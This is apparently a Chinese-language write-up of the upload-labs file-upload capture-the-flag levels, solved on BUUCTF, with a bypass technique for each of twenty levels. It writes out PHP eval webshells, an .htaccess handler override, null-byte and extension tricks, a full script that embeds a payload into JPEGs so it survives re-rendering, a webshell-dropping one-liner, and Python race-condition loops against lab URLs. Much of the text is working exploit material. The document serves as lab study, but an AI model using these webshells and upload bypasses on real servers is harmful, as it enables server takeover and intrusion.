pass-01(js验证)
1,fn+f12网络控制台设置里禁用js;
2,上传一张图片,bp抓包修改内容,添加一句话木马,修改文件名为php后缀
pass-02(MIME类型)
BP抓包修image/jpeg
pass-03(黑名单绕过,php3、php5、phtml)
phtml/pht的内容
<script language="php"> eval($_POST['data']);</script>
pass-04(apache解析漏洞)
- .htaccess(前提是http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件)
在Apache服务器中,AllowOverride
指令用于控制特定目录下的.htaccess
文件中哪些指令是有效的。如果你想限制.htaccess
文件中使用的特定命令,可以通过在httpd.conf
或相应的虚拟主机配置文件中设置AllowOverride
来实现。
例如,如果你想禁止.htaccess
中使用RewriteRule
,可以将AllowOverride
设置为All
除了RewriteRule
<Directory "/path/to/your/directory">
AllowOverride All -RewriteRule
</Directory>
利用方法:(buuctf里未成功)
先上传一个一句话木马,改为jpg/png后缀
再上传一个.htaccess文件,指定上传的jpg/png文件解析为php
<FilesMatch "文件名">
SetHandler application/x-httpd-php
</FilesMatch>
- apache解析文件名是从后往前解析(从后往前解析,遇到不认识的解析规则名就一直往前),用bp抓包修改文件名添加后缀.aaa(不能被识别的解析名称),上传连接
pass-05(大小写绕过)
pass-06(空格绕过)(buuctf里未成功)
pass-07(点绕过)
pass-08(::$data绕过)
连接时记得把::$data去掉,仅限于windows系统(buuctf为linux系统)
pass-09(加后缀)
- 加后缀.jpg/.a
- 点空格点,上传后发现只出现了最后一个点,源码中的
$file_ext = strrchr($file_name, '.');只
截取最后一个.
的位置(buuctf失败)
pass-10(双写名称pphphp)
str_ireplace() 函数只会进行一次删除操作,所以确保只有一个php
.phpphp不可行,因为所有的"php"都会被替换,所以必须只有一个"php"字符存在
pass-11(GET型%00截断)buuctf版本,高于5.3.4
- php版本低于5.3.4
- php.ini里面magic_quotes_gpc=off
- (因为
magic_quotes_gpc
是用于自动转义从外部输入的数据中的特殊字符,以防止SQL注入等安全问题。当magic_quotes_gpc
为ON时,PHP会自动将输入的数据中的特殊字符(如%00
)进行转义处理,这会导致上传的文件名在处理时被截断,从而无法实现预期的文件上传功能)
GET型%00截断
GET型提交的内容会被自动进行URL解码,直接在文件名后面加%00。
pass-12(POST型%00截断)
在POST请求中,%00不会被自动解码,需要在BP中进行编码
两处需要修改,修改后上传拼接路径为../upload/1.php%00/1.jpg
pass-13(图片马)
使用前提判断是否有文件包含函数
如 :include():找不到被包含的文件只会产生警告,脚本继续执行
可以cmd copy,也可以二进制修改
由于题中明确给出使用文件包含漏洞
pass-14(图片马)
pass-15(图片马)
pass-16(图片二次渲染)
二次渲染的原理:
通过命令行或者API接口对图像数据进行各种操作,如缩放、裁剪、转换格式、添加水印等。这些操作会将原本的制作好的图片马破坏,所以需要想办法绕过。
绕过原理:
根据传入的图片码和传入后进行处理过的图片码数据进行比对,找到没有被修改的字段,通过修改这些没有被修改过的字段,达到绕过图片重构的目的。
需要:上传过的图片和原来的图片/gif
- 工具010editor
选择匹配的,尽量.....这种内容添加一句话木马 ,图片最好大一点
- 代码(网上有很多)也可以找别人做好的
- png: 先上传一张图片,将上传后的图片下载下来,使用代码
php png.php xx.png
<?php $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
-
jpg:同上
-
php jpg.php xx.jpg
<?php $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
pass-17(条件竞争)
查看源码,我们可以看到,文件是先上传到服务器,服务器再进行比对的,然后才是删除不符合的文件,我们可以利用这段时间差,结合bp,进行重复上传,直到连接成功:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
1、先修改一句话木马,当访问到这个webshell,该脚本就会在本地生成一个2.php,然后用蚁剑访问即可。
<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["shell"])?>');?>
2、上传webshell,bp抓包,攻击模块
修改好线程
3.创建脚本访问这个文件,访问成功即创建好了2.php(以buuctf为例)
import requests
url = "http://b09d2c00-c0c6-4e7b-8f42-de7f2cb08575.node5.buuoj.cn:81/upload/22.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
4.bp重复加上python脚本,成功后使用蚁剑连接
pass-18(条件竞争-图片马)
查看源码可以看到,服务器先是将文件做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
同上,不过这次改为上传图片,脚本也需要修改为含有包含函数:
bp抓包添加一句话木马,放到攻击模块
修改脚本
import requests
url = "http://91bb11b9-7be1-42b1-9daa-573064a283c0.node5.buuoj.cn:81/include.php?file=upload/2.jpg"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
bp攻击加脚本,访问成功后,蚁剑连接
pass-19(只对用户上传的文件名做验证)
1.修改一句话木马为png文件,保存时修改文件名为xx.php/. 或者 xx.Php
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
也可以修改为Php
pass-20(代码审计-数组)
可以看到,检查上传类型
检查保存文件名,检查$_POST是否为空,若为空,则$file=$_FILES['upload_file']['name'];(上传的文件名)否则$file=$_POST['save_name'](保存的文件名)
接着判断$file是不是一个数组,不是的话,会以"."分为一个数组,判断数组最后一个元素是否合法
$ext(后缀名)为数组的最后一个元素
然后以数组$file第一位元素和$file[count($file) - 1]来重命名文件。
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
所以我们需要绕过的就是,
类型头:修改content-type
数组 修改POST参数为数组类型,数组[0]为xx.php,数组[2]为jpg|png|gif。
这样$file[count($file) - 1]就等价于$file[2-1],值为空,保存的就是xx.php
上传bp抓包,修改
上传后,蚁剑连接就好。